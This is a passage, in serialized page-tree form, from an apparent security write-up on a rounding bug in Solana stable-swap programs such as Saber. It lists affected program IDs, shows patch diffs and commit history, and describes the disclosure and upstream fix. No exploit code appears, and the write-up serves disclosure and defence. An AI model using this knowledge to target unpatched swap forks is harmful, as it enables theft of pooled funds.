'Instruction: Swap'",{"type":23,"tag":504,"props":6322,"children":6323},{"style":6297},[6324],{"type":29,"value":6325}," -B1\n",{"type":23,"tag":32,"props":6327,"children":6328},{},[6329],{"type":29,"value":6330},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":4743,"props":6332,"children":6334},{"code":6333},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[6335],{"type":23,"tag":154,"props":6336,"children":6337},{"__ignoreMap":7},[6338],{"type":29,"value":6333},{"type":23,"tag":32,"props":6340,"children":6341},{},[6342],{"type":29,"value":6343},"Now it was time to contact these teams.",{"type":23,"tag":32,"props":6345,"children":6346},{},[6347],{"type":29,"value":6348},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":32,"props":6350,"children":6351},{},[6352],{"type":29,"value":6353},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":4743,"props":6355,"children":6357},{"code":6356,"language":5008,"meta":7,"className":5009,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[6358],{"type":23,"tag":154,"props":6359,"children":6360},{"__ignoreMap":7},[6361,6415,6428],{"type":23,"tag":504,"props":6362,"children":6363},{"class":5016,"line":5017},[6364,6369,6373,6378,6382,6387,6391,6395,6399,6403,6407,6411],{"type":23,"tag":504,"props":6365,"children":6366},{"style":5047},[6367],{"type":29,"value":6368},"-",{"type":23,"tag":504,"props":6370,"children":6371},{"style":5030},[6372],{"type":29,"value":5105},{"type":23,"tag":504,"props":6374,"children":6375},{"style":5041},[6376],{"type":29,"value":6377}," dy",{"type":23,"tag":504,"props":6379,"children":6380},{"style":5047},[6381],{"type":29,"value":5050},{"type":23,"tag":504,"props":6383,"children":6384},{"style":5041},[6385],{"type":29,"value":6386}," swap_destination_amount",{"type":23,"tag":504,"props":6388,"children":6389},{"style":5047},[6390],{"type":29,"value":357},{"type":23,"tag":504,"props":6392,"children":6393},{"style":5139},[6394],{"type":29,"value":5276},{"type":23,"tag":504,"props":6396,"children":6397},{"style":5058},[6398],{"type":29,"value":603},{"type":23,"tag":504,"props":6400,"children":6401},{"style":5041},[6402],{"type":29,"value":1164},{"type":23,"tag":504,"props":6404,"children":6405},{"style":5058},[6406],{"type":29,"value":933},{"type":23,"tag":504,"props":6408,"children":6409},{"style":5047},[6410],{"type":29,"value":5195},{"type":23,"tag":504,"props":6412,"children":6413},{"style":5058},[6414],{"type":29,"value":5061},{"type":23,"tag":504,"props":6416,"children":6417},{"class":5016,"line":4868},[6418,6423],{"type":23,"tag":504,"props":6419,"children":6420},{"style":5047},[6421],{"type":29,"value":6422},"+",{"type":23,"tag":504,"props":6424,"children":6425},{"style":5021},[6426],{"type":29,"value":6427},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":504,"props":6429,"children":6430},{"class":5016,"line":4876},[6431,6435,6439,6443,6447,6451,6455,6459,6463,6467,6471,6475,6479,6483,6487,6491,6495],{"type":23,"tag":504,"props":6432,"children":6433},{"style":5047},[6434],{"type":29,"value":6422},{"type":23,"tag":504,"props":6436,"children":6437},{"style":5030},[6438],{"type":29,"value":5105},{"type":23,"tag":504,"props":6440,"children":6441},{"style":5041},[6442],{"type":29,"value":6377},{"type":23,"tag":504,"props":6444,"children":6445},{"style":5047},[6446],{"type":29,"value":5050},{"type":23,"tag":504,"props":6448,"children":6449},{"style":5041},[6450],{"type":29,"value":6386},{"type":23,"tag":504,"props":6452,"children":6453},{"style":5047},[6454],{"type":29,"value":357},{"type":23,"tag":504,"props":6456,"children":6457},{"style":5139},[6458],{"type":29,"value":5276},{"type":23,"tag":504,"props":6460,"children":6461},{"style":5058},[6462],{"type":29,"value":603},{"type":23,"tag":504,"props":6464,"children":6465},{"style":5041},[6466],{"type":29,"value":1164},{"type":23,"tag":504,"props":6468,"children":6469},{"style":5058},[6470],{"type":29,"value":933},{"type":23,"tag":504,"props":6472,"children":6473},{"style":5047},[6474],{"type":29,"value":5173},{"type":23,"tag":504,"props":6476,"children":6477},{"style":5139},[6478],{"type":29,"value":5276},{"type":23,"tag":504,"props":6480,"children":6481},{"style":5058},[6482],{"type":29,"value":603},{"type":23,"tag":504,"props":6484,"children":6485},{"style":5083},[6486],{"type":29,"value":826},{"type":23,"tag":504,"props":6488,"children":6489},{"style":5058},[6490],{"type":29,"value":933},{"type":23,"tag":504,"props":6492,"children":6493},{"style":5047},[6494],{"type":29,"value":5195},{"type":23,"tag":504,"props":6496,"children":6497},{"style":5058},[6498],{"type":29,"value":5061},{"type":23,"tag":32,"props":6500,"children":6501},{},[6502,6504,6511],{"type":29,"value":6503},"For reference, here is the ",{"type":23,"tag":68,"props":6505,"children":6508},{"href":6506,"rel":6507},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[72],[6509],{"type":29,"value":6510},"Curve.fi implementation",{"type":29,"value":357},{"type":23,"tag":4743,"props":6513,"children":6517},{"code":6514,"language":6515,"meta":7,"className":6516,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[6518],{"type":23,"tag":154,"props":6519,"children":6520},{"__ignoreMap":7},[6521,6584],{"type":23,"tag":504,"props":6522,"children":6523},{"class":5016,"line":5017},[6524,6529,6534,6539,6543,6548,6552,6557,6561,6566,6571,6575,6579],{"type":23,"tag":504,"props":6525,"children":6526},{"style":5058},[6527],{"type":29,"value":6528},"    dy",{"type":23,"tag":504,"props":6530,"children":6531},{"style":5047},[6532],{"type":29,"value":6533},":",{"type":23,"tag":504,"props":6535,"children":6536},{"style":5467},[6537],{"type":29,"value":6538}," uint256",{"type":23,"tag":504,"props":6540,"children":6541},{"style":5047},[6542],{"type":29,"value":5050},{"type":23,"tag":504,"props":6544,"children":6545},{"style":5058},[6546],{"type":29,"value":6547}," xp[j] ",{"type":23,"tag":504,"props":6549,"children":6550},{"style":5047},[6551],{"type":29,"value":6368},{"type":23,"tag":504,"props":6553,"children":6554},{"style":5058},[6555],{"type":29,"value":6556}," y ",{"type":23,"tag":504,"props":6558,"children":6559},{"style":5047},[6560],{"type":29,"value":6368},{"type":23,"tag":504,"props":6562,"children":6563},{"style":5083},[6564],{"type":29,"value":6565}," 1",{"type":23,"tag":504,"props":6567,"children":6568},{"style":5058},[6569],{"type":29,"value":6570},"  # ",{"type":23,"tag":504,"props":6572,"children":6573},{"style":5047},[6574],{"type":29,"value":6368},{"type":23,"tag":504,"props":6576,"children":6577},{"style":5083},[6578],{"type":29,"value":826},{"type":23,"tag":504,"props":6580,"children":6581},{"style":5058},[6582],{"type":29,"value":6583}," just in case there were some rounding errors\n",{"type":23,"tag":504,"props":6585,"children":6586},{"class":5016,"line":4868},[6587,6592,6596,6600,6604,6609,6614,6619,6624],{"type":23,"tag":504,"props":6588,"children":6589},{"style":5058},[6590],{"type":29,"value":6591},"    dy_fee",{"type":23,"tag":504,"props":6593,"children":6594},{"style":5047},[6595],{"type":29,"value":6533},{"type":23,"tag":504,"props":6597,"children":6598},{"style":5467},[6599],{"type":29,"value":6538},{"type":23,"tag":504,"props":6601,"children":6602},{"style":5047},[6603],{"type":29,"value":5050},{"type":23,"tag":504,"props":6605,"children":6606},{"style":5058},[6607],{"type":29,"value":6608}," dy ",{"type":23,"tag":504,"props":6610,"children":6611},{"style":5047},[6612],{"type":29,"value":6613},"*",{"type":23,"tag":504,"props":6615,"children":6616},{"style":5058},[6617],{"type":29,"value":6618}," self.fee ",{"type":23,"tag":504,"props":6620,"children":6621},{"style":5047},[6622],{"type":29,"value":6623},"/",{"type":23,"tag":504,"props":6625,"children":6626},{"style":5058},[6627],{"type":29,"value":6628}," FEE_DENOMINATOR\n",{"type":23,"tag":32,"props":6630,"children":6631},{},[6632,6634,6641],{"type":29,"value":6633},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":68,"props":6635,"children":6638},{"href":6636,"rel":6637},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[72],[6639],{"type":29,"value":6640},"original commit",{"type":29,"value":6642},", not as an additional security patch.",{"type":23,"tag":4743,"props":6644,"children":6646},{"code":6645},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[6647],{"type":23,"tag":154,"props":6648,"children":6649},{"__ignoreMap":7},[6650],{"type":29,"value":6645},{"type":23,"tag":32,"props":6652,"children":6653},{},[6654,6656,6663],{"type":29,"value":6655},"The commit adding stable swaps to SPL was ",{"type":23,"tag":68,"props":6657,"children":6660},{"href":6658,"rel":6659},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[72],[6661],{"type":29,"value":6662},"made a few months later",{"type":29,"value":6664},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":4743,"props":6666,"children":6668},{"code":6667},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[6669],{"type":23,"tag":154,"props":6670,"children":6671},{"__ignoreMap":7},[6672],{"type":29,"value":6667},{"type":23,"tag":32,"props":6674,"children":6675},{},[6676,6678,6685],{"type":29,"value":6677},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":68,"props":6679,"children":6682},{"href":6680,"rel":6681},"https://github.com/solana-labs/solana-program-library",[72],[6683],{"type":29,"value":6684},"the Solana Program Library",{"type":29,"value":357},{"type":23,"tag":32,"props":6687,"children":6688},{},[6689],{"type":29,"value":6690},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":32,"props":6692,"children":6693},{},[6694,6701],{"type":23,"tag":68,"props":6695,"children":6698},{"href":6696,"rel":6697},"https://github.com/joncinque",[72],[6699],{"type":29,"value":6700},"@joncinque",{"type":29,"value":6702}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":446,"props":6704,"children":6705},{},[6706],{"type":23,"tag":32,"props":6707,"children":6708},{},[6709],{"type":29,"value":6710},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":32,"props":6712,"children":6713},{},[6714,6716,6723,6725,6731],{"type":29,"value":6715},"After some thought, he helped ",{"type":23,"tag":68,"props":6717,"children":6720},{"href":6718,"rel":6719},"https://github.com/solana-labs/solana-program-library/pull/2942",[72],[6721],{"type":29,"value":6722},"introduce a PR",{"type":29,"value":6724}," which ceilings the computation in ",{"type":23,"tag":154,"props":6726,"children":6728},{"className":6727},[],[6729],{"type":29,"value":6730},"compute_new_destination_amount",{"type":29,"value":6732}," to correctly round within the stable curve math library.",{"type":23,"tag":4743,"props":6734,"children":6736},{"code":6735,"language":5008,"meta":7,"className":5009,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[6737],{"type":23,"tag":154,"props":6738,"children":6739},{"__ignoreMap":7},[6740,6748,6778,6805,6833,6857,6933,7037,7064,7159,7262,7289,7301,7320,7343],{"type":23,"tag":504,"props":6741,"children":6742},{"class":5016,"line":5017},[6743],{"type":23,"tag":504,"props":6744,"children":6745},{"style":5021},[6746],{"type":29,"value":6747},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":504,"props":6749,"children":6750},{"class":5016,"line":4868},[6751,6756,6760,6765,6769,6774],{"type":23,"tag":504,"props":6752,"children":6753},{"style":5030},[6754],{"type":29,"value":6755},"     let",{"type":23,"tag":504,"props":6757,"children":6758},{"style":5030},[6759],{"type":29,"value":5038},{"type":23,"tag":504,"props":6761,"children":6762},{"style":5041},[6763],{"type":29,"value":6764}," y_prev",{"type":23,"tag":504,"props":6766,"children":6767},{"style":5047},[6768],{"type":29,"value":6533},{"type":23,"tag":504,"props":6770,"children":6771},{"style":5467},[6772],{"type":29,"value":6773}," U256",{"type":23,"tag":504,"props":6775,"children":6776},{"style":5058},[6777],{"type":29,"value":5061},{"type":23,"tag":504,"props":6779,"children":6780},{"class":5016,"line":4876},[6781,6785,6789,6793,6797,6801],{"type":23,"tag":504,"props":6782,"children":6783},{"style":5030},[6784],{"type":29,"value":6755},{"type":23,"tag":504,"props":6786,"children":6787},{"style":5030},[6788],{"type":29,"value":5038},{"type":23,"tag":504,"props":6790,"children":6791},{"style":5041},[6792],{"type":29,"value":5044},{"type":23,"tag":504,"props":6794,"children":6795},{"style":5047},[6796],{"type":29,"value":5050},{"type":23,"tag":504,"props":6798,"children":6799},{"style":5041},[6800],{"type":29,"value":5055},{"type":23,"tag":504,"props":6802,"children":6803},{"style":5058},[6804],{"type":29,"value":5061},{"type":23,"tag":504,"props":6806,"children":6807},{"class":5016,"line":5099},[6808,6813,6817,6821,6825,6829],{"type":23,"tag":504,"props":6809,"children":6810},{"style":5067},[6811],{"type":29,"value":6812},"     for",{"type":23,"tag":504,"props":6814,"children":6815},{"style":5041},[6816],{"type":29,"value":5075},{"type":23,"tag":504,"props":6818,"children":6819},{"style":5030},[6820],{"type":29,"value":5080},{"type":23,"tag":504,"props":6822,"children":6823},{"style":5083},[6824],{"type":29,"value":5086},{"type":23,"tag":504,"props":6826,"children":6827},{"style":5047},[6828],{"type":29,"value":5091},{"type":23,"tag":504,"props":6830,"children":6831},{"style":5058},[6832],{"type":29,"value":5096},{"type":23,"tag":504,"props":6834,"children":6835},{"class":5016,"line":5203},[6836,6840,6845,6849,6853],{"type":23,"tag":504,"props":6837,"children":6838},{"style":5047},[6839],{"type":29,"value":6368},{"type":23,"tag":504,"props":6841,"children":6842},{"style":5041},[6843],{"type":29,"value":6844},"        y_prev",{"type":23,"tag":504,"props":6846,"children":6847},{"style":5047},[6848],{"type":29,"value":5050},{"type":23,"tag":504,"props":6850,"children":6851},{"style":5041},[6852],{"type":29,"value":5044},{"type":23,"tag":504,"props":6854,"children":6855},{"style":5058},[6856],{"type":29,"value":5061},{"type":23,"tag":504,"props":6858,"children":6859},{"class":5016,"line":5308},[6860,6864,6869,6873,6877,6881,6885,6889,6893,6897,6901,6905,6909,6913,6917,6921,6925,6929],{"type":23,"tag":504,"props":6861,"children":6862},{"style":5047},[6863],{"type":29,"value":6368},{"type":23,"tag":504,"props":6865,"children":6866},{"style":5041},[6867],{"type":29,"value":6868},"        y",{"type":23,"tag":504,"props":6870,"children":6871},{"style":5047},[6872],{"type":29,"value":5050},{"type":23,"tag":504,"props":6874,"children":6875},{"style":5058},[6876],{"type":29,"value":5110},{"type":23,"tag":504,"props":6878,"children":6879},{"style":5139},[6880],{"type":29,"value":5142},{"type":23,"tag":504,"props":6882,"children":6883},{"style":5058},[6884],{"type":29,"value":603},{"type":23,"tag":504,"props":6886,"children":6887},{"style":5047},[6888],{"type":29,"value":5151},{"type":23,"tag":504,"props":6890,"children":6891},{"style":5041},[6892],{"type":29,"value":1164},{"type":23,"tag":504,"props":6894,"children":6895},{"style":5058},[6896],{"type":29,"value":4367},{"type":23,"tag":504,"props":6898,"children":6899},{"style":5083},[6900],{"type":29,"value":5164},{"type":23,"tag":504,"props":6902,"children":6903},{"style":5058},[6904],{"type":29,"value":933},{"type":23,"tag":504,"props":6906,"children":6907},{"style":5047},[6908],{"type":29,"value":5173},{"type":23,"tag":504,"props":6910,"children":6911},{"style":5139},[6912],{"type":29,"value":5178},{"type":23,"tag":504,"props":6914,"children":6915},{"style":5058},[6916],{"type":29,"value":603},{"type":23,"tag":504,"props":6918,"children":6919},{"style":5041},[6920],{"type":29,"value":3110},{"type":23,"tag":504,"props":6922,"children":6923},{"style":5058},[6924],{"type":29,"value":933},{"type":23,"tag":504,"props":6926,"children":6927},{"style":5047},[6928],{"type":29,"value":5195},{"type":23,"tag":504,"props":6930,"children":6931},{"style":5058},[6932],{"type":29,"value":5200},{"type":23,"tag":504,"props":6934,"children":6935},{"class":5016,"line":5336},[6936,6940,6944,6949,6953,6957,6961,6965,6969,6973,6977,6981,6985,6989,6993,6997,7001,7005,7009,7013,7017,7021,7025,7029,7033],{"type":23,"tag":504,"props":6937,"children":6938},{"style":5047},[6939],{"type":29,"value":6368},{"type":23,"tag":504,"props":6941,"children":6942},{"style":5047},[6943],{"type":29,"value":5209},{"type":23,"tag":504,"props":6945,"children":6946},{"style":5139},[6947],{"type":29,"value":6948},"checked_div",{"type":23,"tag":504,"props":6950,"children":6951},{"style":5058},[6952],{"type":29,"value":603},{"type":23,"tag":504,"props":6954,"children":6955},{"style":5139},[6956],{"type":29,"value":5223},{"type":23,"tag":504,"props":6958,"children":6959},{"style":5058},[6960],{"type":29,"value":603},{"type":23,"tag":504,"props":6962,"children":6963},{"style":5047},[6964],{"type":29,"value":5151},{"type":23,"tag":504,"props":6966,"children":6967},{"style":5041},[6968],{"type":29,"value":1164},{"type":23,"tag":504,"props":6970,"children":6971},{"style":5058},[6972],{"type":29,"value":4367},{"type":23,"tag":504,"props":6974,"children":6975},{"style":5083},[6976],{"type":29,"value":5164},{"type":23,"tag":504,"props":6978,"children":6979},{"style":5058},[6980],{"type":29,"value":933},{"type":23,"tag":504,"props":6982,"children":6983},{"style":5047},[6984],{"type":29,"value":5173},{"type":23,"tag":504,"props":6986,"children":6987},{"style":5139},[6988],{"type":29,"value":5178},{"type":23,"tag":504,"props":6990,"children":6991},{"style":5058},[6992],{"type":29,"value":603},{"type":23,"tag":504,"props":6994,"children":6995},{"style":5041},[6996],{"type":29,"value":3003},{"type":23,"tag":504,"props":6998,"children":6999},{"style":5058},[7000],{"type":29,"value":933},{"type":23,"tag":504,"props":7002,"children":7003},{"style":5047},[7004],{"type":29,"value":5173},{"type":23,"tag":504,"props":7006,"children":7007},{"style":5139},[7008],{"type":29,"value":5276},{"type":23,"tag":504,"props":7010,"children":7011},{"style":5058},[7012],{"type":29,"value":603},{"type":23,"tag":504,"props":7014,"children":7015},{"style":5041},[7016],{"type":29,"value":5285},{"type":23,"tag":504,"props":7018,"children":7019},{"style":5058},[7020],{"type":29,"value":933},{"type":23,"tag":504,"props":7022,"children":7023},{"style":5047},[7024],{"type":29,"value":5195},{"type":23,"tag":504,"props":7026,"children":7027},{"style":5058},[7028],{"type":29,"value":933},{"type":23,"tag":504,"props":7030,"children":7031},{"style":5047},[7032],{"type":29,"value":5195},{"type":23,"tag":504,"props":7034,"children":7035},{"style":5058},[7036],{"type":29,"value":5061},{"type":23,"tag":504,"props":7038,"children":7039},{"class":5016,"line":5349},[7040,7044,7048,7052,7056,7060],{"type":23,"tag":504,"props":7041,"children":7042},{"style":5047},[7043],{"type":29,"value":6368},{"type":23,"tag":504,"props":7045,"children":7046},{"style":5067},[7047],{"type":29,"value":5314},{"type":23,"tag":504,"props":7049,"children":7050},{"style":5041},[7051],{"type":29,"value":5044},{"type":23,"tag":504,"props":7053,"children":7054},{"style":5047},[7055],{"type":29,"value":5324},{"type":23,"tag":504,"props":7057,"children":7058},{"style":5041},[7059],{"type":29,"value":6764},{"type":23,"tag":504,"props":7061,"children":7062},{"style":5058},[7063],{"type":29,"value":5333},{"type":23,"tag":504,"props":7065,"children":7066},{"class":5016,"line":5367},[7067,7071,7075,7079,7083,7087,7091,7095,7099,7103,7107,7111,7115,7119,7123,7127,7131,7135,7139,7143,7147,7151,7155],{"type":23,"tag":504,"props":7068,"children":7069},{"style":5047},[7070],{"type":29,"value":6422},{"type":23,"tag":504,"props":7072,"children":7073},{"style":5030},[7074],{"type":29,"value":5105},{"type":23,"tag":504,"props":7076,"children":7077},{"style":5058},[7078],{"type":29,"value":5110},{"type":23,"tag":504,"props":7080,"children":7081},{"style":5041},[7082],{"type":29,"value":5115},{"type":23,"tag":504,"props":7084,"children":7085},{"style":5058},[7086],{"type":29,"value":4367},{"type":23,"tag":504,"props":7088,"children":7089},{"style":5041},[7090],{"type":29,"value":627},{"type":23,"tag":504,"props":7092,"children":7093},{"style":5058},[7094],{"type":29,"value":5128},{"type":23,"tag":504,"props":7096,"children":7097},{"style":5047},[7098],{"type":29,"value":546},{"type":23,"tag":504,"props":7100,"children":7101},{"style":5058},[7102],{"type":29,"value":5110},{"type":23,"tag":504,"props":7104,"children":7105},{"style":5139},[7106],{"type":29,"value":5142},{"type":23,"tag":504,"props":7108,"children":7109},{"style":5058},[7110],{"type":29,"value":603},{"type":23,"tag":504,"props":7112,"children":7113},{"style":5047},[7114],{"type":29,"value":5151},{"type":23,"tag":504,"props":7116,"children":7117},{"style":5041},[7118],{"type":29,"value":1164},{"type":23,"tag":504,"props":7120,"children":7121},{"style":5058},[7122],{"type":29,"value":4367},{"type":23,"tag":504,"props":7124,"children":7125},{"style":5083},[7126],{"type":29,"value":5164},{"type":23,"tag":504,"props":7128,"children":7129},{"style":5058},[7130],{"type":29,"value":933},{"type":23,"tag":504,"props":7132,"children":7133},{"style":5047},[7134],{"type":29,"value":5173},{"type":23,"tag":504,"props":7136,"children":7137},{"style":5139},[7138],{"type":29,"value":5178},{"type":23,"tag":504,"props":7140,"children":7141},{"style":5058},[7142],{"type":29,"value":603},{"type":23,"tag":504,"props":7144,"children":7145},{"style":5041},[7146],{"type":29,"value":3110},{"type":23,"tag":504,"props":7148,"children":7149},{"style":5058},[7150],{"type":29,"value":933},{"type":23,"tag":504,"props":7152,"children":7153},{"style":5047},[7154],{"type":29,"value":5195},{"type":23,"tag":504,"props":7156,"children":7157},{"style":5058},[7158],{"type":29,"value":5200},{"type":23,"tag":504,"props":7160,"children":7161},{"class":5016,"line":5388},[7162,7166,7170,7174,7178,7182,7186,7190,7194,7198,7202,7206,7210,7214,7218,7222,7226,7230,7234,7238,7242,7246,7250,7254,7258],{"type":23,"tag":504,"props":7163,"children":7164},{"style":5047},[7165],{"type":29,"value":6422},{"type":23,"tag":504,"props":7167,"children":7168},{"style":5047},[7169],{"type":29,"value":5209},{"type":23,"tag":504,"props":7171,"children":7172},{"style":5139},[7173],{"type":29,"value":5214},{"type":23,"tag":504,"props":7175,"children":7176},{"style":5058},[7177],{"type":29,"value":603},{"type":23,"tag":504,"props":7179,"children":7180},{"style":5139},[7181],{"type":29,"value":5223},{"type":23,"tag":504,"props":7183,"children":7184},{"style":5058},[7185],{"type":29,"value":603},{"type":23,"tag":504,"props":7187,"children":7188},{"style":5047},[7189],{"type":29,"value":5151},{"type":23,"tag":504,"props":7191,"children":7192},{"style":5041},[7193],{"type":29,"value":1164},{"type":23,"tag":504,"props":7195,"children":7196},{"style":5058},[7197],{"type":29,"value":4367},{"type":23,"tag":504,"props":7199,"children":7200},{"style":5083},[7201],{"type":29,"value":5164},{"type":23,"tag":504,"props":7203,"children":7204},{"style":5058},[7205],{"type":29,"value":933},{"type":23,"tag":504,"props":7207,"children":7208},{"style":5047},[7209],{"type":29,"value":5173},{"type":23,"tag":504,"props":7211,"children":7212},{"style":5139},[7213],{"type":29,"value":5178},{"type":23,"tag":504,"props":7215,"children":7216},{"style":5058},[7217],{"type":29,"value":603},{"type":23,"tag":504,"props":7219,"children":7220},{"style":5041},[7221],{"type":29,"value":3003},{"type":23,"tag":504,"props":7223,"children":7224},{"style":5058},[7225],{"type":29,"value":933},{"type":23,"tag":504,"props":7227,"children":7228},{"style":5047},[7229],{"type":29,"value":5173},{"type":23,"tag":504,"props":7231,"children":7232},{"style":5139},[7233],{"type":29,"value":5276},{"type":23,"tag":504,"props":7235,"children":7236},{"style":5058},[7237],{"type":29,"value":603},{"type":23,"tag":504,"props":7239,"children":7240},{"style":5041},[7241],{"type":29,"value":5285},{"type":23,"tag":504,"props":7243,"children":7244},{"style":5058},[7245],{"type":29,"value":933},{"type":23,"tag":504,"props":7247,"children":7248},{"style":5047},[7249],{"type":29,"value":5195},{"type":23,"tag":504,"props":7251,"children":7252},{"style":5058},[7253],{"type":29,"value":933},{"type":23,"tag":504,"props":7255,"children":7256},{"style":5047},[7257],{"type":29,"value":5195},{"type":23,"tag":504,"props":7259,"children":7260},{"style":5058},[7261],{"type":29,"value":5061},{"type":23,"tag":504,"props":7263,"children":7264},{"class":5016,"line":5397},[7265,7269,7273,7277,7281,7285],{"type":23,"tag":504,"props":7266,"children":7267},{"style":5047},[7268],{"type":29,"value":6422},{"type":23,"tag":504,"props":7270,"children":7271},{"style":5067},[7272],{"type":29,"value":5314},{"type":23,"tag":504,"props":7274,"children":7275},{"style":5041},[7276],{"type":29,"value":5319},{"type":23,"tag":504,"props":7278,"children":7279},{"style":5047},[7280],{"type":29,"value":5324},{"type":23,"tag":504,"props":7282,"children":7283},{"style":5041},[7284],{"type":29,"value":5044},{"type":23,"tag":504,"props":7286,"children":7287},{"style":5058},[7288],{"type":29,"value":5333},{"type":23,"tag":504,"props":7290,"children":7291},{"class":5016,"line":5649},[7292,7297],{"type":23,"tag":504,"props":7293,"children":7294},{"style":5067},[7295],{"type":29,"value":7296},"             break",{"type":23,"tag":504,"props":7298,"children":7299},{"style":5058},[7300],{"type":29,"value":5061},{"type":23,"tag":504,"props":7302,"children":7303},{"class":5016,"line":5666},[7304,7308,7312,7316],{"type":23,"tag":504,"props":7305,"children":7306},{"style":5047},[7307],{"type":29,"value":6422},{"type":23,"tag":504,"props":7309,"children":7310},{"style":5058},[7311],{"type":29,"value":5355},{"type":23,"tag":504,"props":7313,"children":7314},{"style":5067},[7315],{"type":29,"value":5360},{"type":23,"tag":504,"props":7317,"children":7318},{"style":5058},[7319],{"type":29,"value":5333},{"type":23,"tag":504,"props":7321,"children":7322},{"class":5016,"line":5683},[7323,7327,7331,7335,7339],{"type":23,"tag":504,"props":7324,"children":7325},{"style":5047},[7326],{"type":29,"value":6422},{"type":23,"tag":504,"props":7328,"children":7329},{"style":5041},[7330],{"type":29,"value":5373},{"type":23,"tag":504,"props":7332,"children":7333},{"style":5047},[7334],{"type":29,"value":5050},{"type":23,"tag":504,"props":7336,"children":7337},{"style":5041},[7338],{"type":29,"value":5319},{"type":23,"tag":504,"props":7340,"children":7341},{"style":5058},[7342],{"type":29,"value":5061},{"type":23,"tag":504,"props":7344,"children":7345},{"class":5016,"line":5696},[7346],{"type":23,"tag":504,"props":7347,"children":7348},{"style":5058},[7349],{"type":29,"value":7350},"         }\n",{"type":23,"tag":24,"props":7352,"children":7354},{"id":7353},"closing-thoughts",[7355],{"type":29,"value":7356},"Closing Thoughts",{"type":23,"tag":32,"props":7358,"children":7359},{},[7360],{"type":29,"value":7361},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":32,"props":7363,"children":7364},{},[7365,7367,7372],{"type":29,"value":7366},"Another interesting takeaway is that ",{"type":23,"tag":38,"props":7368,"children":7369},{},[7370],{"type":29,"value":7371},"fuzzing can give a false sense of security",{"type":29,"value":7373},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":32,"props":7375,"children":7376},{},[7377,7379,7386],{"type":29,"value":7378},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":68,"props":7380,"children":7383},{"href":7381,"rel":7382},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[72],[7384],{"type":29,"value":7385},"port-mortem of the NSS 